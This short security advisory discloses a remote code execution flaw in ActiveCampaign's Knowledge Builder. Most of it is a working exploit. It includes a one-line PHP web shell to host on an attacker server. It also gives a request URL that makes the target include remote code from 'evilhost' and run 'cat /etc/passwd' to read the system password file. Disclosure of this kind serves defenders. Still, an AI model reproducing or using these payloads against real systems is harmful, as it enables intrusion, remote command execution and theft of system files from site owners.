Remote Code Execution in Knowledge Builder. "Knowledge Builder" from www.activecampaign.com allows to execute code. Example: Create the following file on your webserver: ----index.php---- <? system($cmd); ?> ----------------- And then type in the following URL: http://targethost/kb/index.php?page=http://evilhost/index&cmd=cat /etc/passwd Zero X, member of www.lobnan.de and www.lostkey.org